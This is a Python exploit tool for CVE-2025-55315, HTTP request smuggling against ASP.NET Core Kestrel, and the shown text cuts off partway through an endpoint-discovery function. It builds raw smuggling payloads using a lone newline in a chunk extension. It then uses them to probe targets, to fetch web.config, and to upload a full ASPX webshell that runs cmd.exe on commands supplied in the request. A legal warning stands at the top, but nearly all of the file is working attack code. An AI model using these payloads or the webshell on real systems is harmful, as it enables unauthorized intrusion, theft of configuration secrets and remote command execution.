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| #!/usr/bin/env python3
"""
CVE-2025-55315 Pentest Tool - Single Target Focused
HTTP Request Smuggling Exploitation for ASP.NET Core Kestrel
LEGAL WARNING:
- Use ONLY on systems you own or have explicit written authorization to test
- Unauthorized access to computer systems is illegal
- This tool is for authorized penetration testing and security research ONLY
"""
import argparse
import socket
import ssl
import sys
import time
import json
import re
from urllib.parse import urlparse
from typing import List, Dict, Tuple, Optional
from datetime import datetime
import os
# ANSI Colors for terminal output
class Colors:
HEADER = '\033[95m'
BLUE = '\033[94m'
CYAN = '\033[96m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
class CVE202555315Pentest:
"""Main pentest tool for CVE-2025-55315 exploitation"""
# Common ASP.NET Core endpoints to test
COMMON_ENDPOINTS = [
'/api/health',
'/api/status',
'/health',
'/healthcheck',
'/api/version',
'/swagger',
'/api/swagger',
'/api/users',
'/api/config',
'/api/settings',
'/Account/Login',
'/Home/Index',
'/api/values',
'/',
]
def __init__(self, target: str, port: int = None, use_ssl: bool = True,
timeout: int = 10, verbose: bool = False):
"""
Initialize the pentest tool
Args:
target: Target hostname or URL (e.g., target.com or https://target.com)
port: Port number (default: 443 for SSL, 80 for non-SSL)
use_ssl: Use HTTPS/SSL connection
timeout: Socket timeout in seconds
verbose: Enable verbose output
"""
self.target = self._parse_target(target)
self.use_ssl = use_ssl
self.port = port or (443 if use_ssl else 80)
self.timeout = timeout
self.verbose = verbose
self.results = {
'target': self.target,
'port': self.port,
'timestamp': datetime.now().isoformat(),
'vulnerable': False,
'tested_endpoints': [],
'successful_exploits': [],
'errors': []
}
self._print_banner()
def _parse_target(self, target: str) -> str:
"""Extract hostname from URL or return as-is"""
if target.startswith('http://') or target.startswith('https://'):
parsed = urlparse(target)
return parsed.netloc
return target
def _print_banner(self):
"""Print tool banner"""
banner = f"""
{Colors.CYAN}╔════════════════════════════════════════════════════════════════════╗
║ CVE-2025-55315 Pentest Tool - Single Target Analysis ║
║ HTTP Request Smuggling - ASP.NET Core Kestrel ║
╚════════════════════════════════════════════════════════════════════╝{Colors.ENDC}
{Colors.YELLOW}⚠️ LEGAL WARNING: Authorized Use Only!{Colors.ENDC}
{Colors.YELLOW}This tool must ONLY be used on systems you own or have written permission to test.{Colors.ENDC}
{Colors.BOLD}Target:{Colors.ENDC} {self.target}:{self.port}
{Colors.BOLD}SSL:{Colors.ENDC} {'Enabled' if self.use_ssl else 'Disabled'}
{Colors.BOLD}Timestamp:{Colors.ENDC} {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}
"""
print(banner)
def _log(self, message: str, level: str = 'INFO'):
"""Log message with color coding"""
timestamp = datetime.now().strftime('%H:%M:%S')
colors = {
'INFO': Colors.BLUE,
'SUCCESS': Colors.GREEN,
'WARNING': Colors.YELLOW,
'ERROR': Colors.RED,
'DEBUG': Colors.CYAN
}
color = colors.get(level, Colors.ENDC)
print(f"{color}[{timestamp}] [{level}]{Colors.ENDC} {message}")
def _create_connection(self) -> Tuple[socket.socket, bool]:
"""
Create TCP connection to target
Returns:
Tuple of (socket, success)
"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(self.timeout)
if self.use_ssl:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
sock = context.wrap_socket(sock, server_hostname=self.target)
sock.connect((self.target, self.port))
return sock, True
except Exception as e:
self._log(f"Connection failed: {e}", 'ERROR')
return None, False
def check_server_info(self) -> Dict:
"""
Perform initial reconnaissance - check server headers
Returns:
Dict with server information
"""
self._log("Performing reconnaissance...", 'INFO')
sock, success = self._create_connection()
if not success:
return {'error': 'Connection failed'}
try:
# Send simple GET request
request = (
f"GET / HTTP/1.1\r\n"
f"Host: {self.target}\r\n"
f"Connection: close\r\n"
f"\r\n"
)
sock.sendall(request.encode())
response = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
break
sock.close()
# Parse response
response_str = response.decode('utf-8', errors='ignore')
headers = response_str.split('\r\n\r\n')[0]
info = {
'server': 'Unknown',
'asp_net_version': 'Unknown',
'kestrel_detected': False,
'http_version': 'Unknown'
}
# Extract Server header
server_match = re.search(r'Server:\s*(.+)', headers, re.IGNORECASE)
if server_match:
info['server'] = server_match.group(1).strip()
if 'Kestrel' in info['server']:
info['kestrel_detected'] = True
self._log(f"✓ Kestrel detected: {info['server']}", 'SUCCESS')
# Extract ASP.NET version
aspnet_match = re.search(r'X-Powered-By:\s*(.+)', headers, re.IGNORECASE)
if aspnet_match:
info['asp_net_version'] = aspnet_match.group(1).strip()
# Extract HTTP version
http_match = re.search(r'HTTP/(\d\.\d)', headers)
if http_match:
info['http_version'] = http_match.group(1)
if info['http_version'] == '1.1':
self._log(f"✓ HTTP/1.1 detected (vulnerable protocol)", 'SUCCESS')
else:
self._log(f"⚠ HTTP/{info['http_version']} detected (may not be vulnerable)", 'WARNING')
return info
except Exception as e:
self._log(f"Reconnaissance error: {e}", 'ERROR')
return {'error': str(e)}
def test_vulnerability(self, endpoint: str = '/') -> Tuple[bool, str]:
"""
Test if endpoint is vulnerable to CVE-2025-55315
Args:
endpoint: Endpoint to test
Returns:
Tuple of (is_vulnerable, details)
"""
self._log(f"Testing endpoint: {endpoint}", 'INFO')
sock, success = self._create_connection()
if not success:
return False, "Connection failed"
try:
# Build CVE-2025-55315 exploit payload
# Uses lone \n in chunk extension to trigger request smuggling
payload = (
f"POST {endpoint} HTTP/1.1\r\n"
f"Host: {self.target}\r\n"
f"Transfer-Encoding: chunked\r\n"
f"Content-Type: application/json\r\n"
f"\r\n"
f"2;\n" # VULNERABILITY: Lone \n instead of \r\n
f"XX"
f"\r\n"
f"0\r\n"
f"\r\n"
f"GET /smuggled-request HTTP/1.1\r\n"
f"Host: {self.target}\r\n"
f"X-Smuggled: true\r\n"
f"\r\n"
)
if self.verbose:
self._log(f"Payload:\n{payload}", 'DEBUG')
sock.sendall(payload.encode())
# Read response
response = b""
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
pass
sock.close()
response_str = response.decode('utf-8', errors='ignore')
# Analyze response for vulnerability indicators
if "400 Bad Request" in response_str or "400" in response_str[:100]:
self._log(f"✓ Endpoint NOT vulnerable (400 Bad Request)", 'SUCCESS')
return False, "Server rejected malformed chunk header (patched)"
elif response_str.count("HTTP/1.1") > 1:
self._log(f"✗ VULNERABLE! Multiple HTTP responses detected", 'ERROR')
return True, "Request smuggling successful - multiple responses"
elif "500" in response_str or "502" in response_str:
self._log(f"⚠ Possibly vulnerable (server error)", 'WARNING')
return True, "Server error indicates possible smuggling"
elif len(response_str) > 0:
self._log(f"⚠ Response received but inconclusive", 'WARNING')
return None, "Inconclusive - manual review needed"
else:
self._log(f"⚠ No response received", 'WARNING')
return None, "No response - possible timeout"
except Exception as e:
self._log(f"Test error: {e}", 'ERROR')
return False, f"Error: {str(e)}"
def read_webconfig(self, endpoint: str = '/') -> Tuple[bool, Optional[str]]:
"""
Attempt to read web.config file using request smuggling
Args:
endpoint: Endpoint to exploit
Returns:
Tuple of (success, web.config content or error message)
"""
self._log(f"Attempting to read web.config via {endpoint}", 'INFO')
sock, success = self._create_connection()
if not success:
return False, "Connection failed"
try:
# Smuggle a request to read web.config
payload = (
f"POST {endpoint} HTTP/1.1\r\n"
f"Host: {self.target}\r\n"
f"Transfer-Encoding: chunked\r\n"
f"Content-Type: application/json\r\n"
f"\r\n"
f"2;\n" # VULNERABILITY: Lone \n
f"XX"
f"\r\n"
f"0\r\n"
f"\r\n"
f"GET /web.config HTTP/1.1\r\n"
f"Host: {self.target}\r\n"
f"X-Purpose: ReadConfig\r\n"
f"\r\n"
)
sock.sendall(payload.encode())
response = b""
try:
while True:
chunk = sock.recv(8192)
if not chunk:
break
response += chunk
except socket.timeout:
pass
sock.close()
response_str = response.decode('utf-8', errors='ignore')
# Look for web.config content
if '<configuration>' in response_str or '<appSettings>' in response_str:
self._log(f"✓ web.config file retrieved!", 'SUCCESS')
# Extract config content
if '\r\n\r\n' in response_str:
parts = response_str.split('\r\n\r\n', 1)
if len(parts) > 1:
config_content = parts[1]
return True, config_content
return True, response_str
elif "404" in response_str:
self._log(f"✗ web.config not found (404)", 'WARNING')
return False, "web.config not accessible"
elif "403" in response_str:
self._log(f"✗ Access denied (403)", 'WARNING')
return False, "web.config access forbidden"
else:
self._log(f"⚠ Unable to retrieve web.config", 'WARNING')
return False, "Unable to read config file"
except Exception as e:
self._log(f"Error reading web.config: {e}", 'ERROR')
return False, f"Error: {str(e)}"
def upload_webshell(self, endpoint: str = '/', shell_path: str = '/shell.aspx',
shell_content: str = None) -> Tuple[bool, str]:
"""
Attempt to upload webshell using request smuggling
Args:
endpoint: Endpoint to exploit
shell_path: Path where shell should be uploaded
shell_content: Content of webshell (optional, uses default if not provided)
Returns:
Tuple of (success, message)
"""
self._log(f"⚠️ ATTEMPTING WEBSHELL UPLOAD - High risk operation!", 'WARNING')
# Default minimal ASPX webshell (for demonstration)
if not shell_content:
shell_content = '''<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e)
{
string cmd = Request["cmd"];
if (!string.IsNullOrEmpty(cmd))
{
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
p.WaitForExit();
}
}
</script>
<!-- CVE-2025-55315 Test Shell -->'''
sock, success = self._create_connection()
if not success:
return False, "Connection failed"
try:
# Smuggle a PUT/POST request to upload file
body = shell_content
content_length = len(body)
payload = (
f"POST {endpoint} HTTP/1.1\r\n"
f"Host: {self.target}\r\n"
f"Transfer-Encoding: chunked\r\n"
f"Content-Type: application/json\r\n"
f"\r\n"
f"2;\n" # VULNERABILITY
f"XX"
f"\r\n"
f"0\r\n"
f"\r\n"
f"PUT {shell_path} HTTP/1.1\r\n"
f"Host: {self.target}\r\n"
f"Content-Type: application/octet-stream\r\n"
f"Content-Length: {content_length}\r\n"
f"\r\n"
f"{body}"
)
if self.verbose:
self._log(f"Upload payload size: {len(payload)} bytes", 'DEBUG')
sock.sendall(payload.encode())
response = b""
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
pass
sock.close()
response_str = response.decode('utf-8', errors='ignore')
# Check upload status
if "200" in response_str[:100] or "201" in response_str[:100]:
self._log(f"✓ Webshell may have been uploaded to {shell_path}", 'SUCCESS')
return True, f"Upload may be successful - check {shell_path}"
elif "403" in response_str or "405" in response_str:
self._log(f"✗ Upload blocked (forbidden/method not allowed)", 'WARNING')
return False, "Upload blocked by server"
else:
self._log(f"⚠ Upload status unclear", 'WARNING')
return False, "Unable to confirm upload"
except Exception as e:
self._log(f"Upload error: {e}", 'ERROR')
return False, f"Error: {str(e)}"
def auto_discover_endpoints(self) -> List[str]:
"""
Automatically discover active endpoints on target
Returns:
List of responsive endpoints
"""
self._log("Starting endpoint auto-discovery...", 'INFO')
active_endpoints = []
for endpoint in self.COMMON_ENDPOINTS:
try:
sock, success = self._create_connection()
if not success:
continue
|
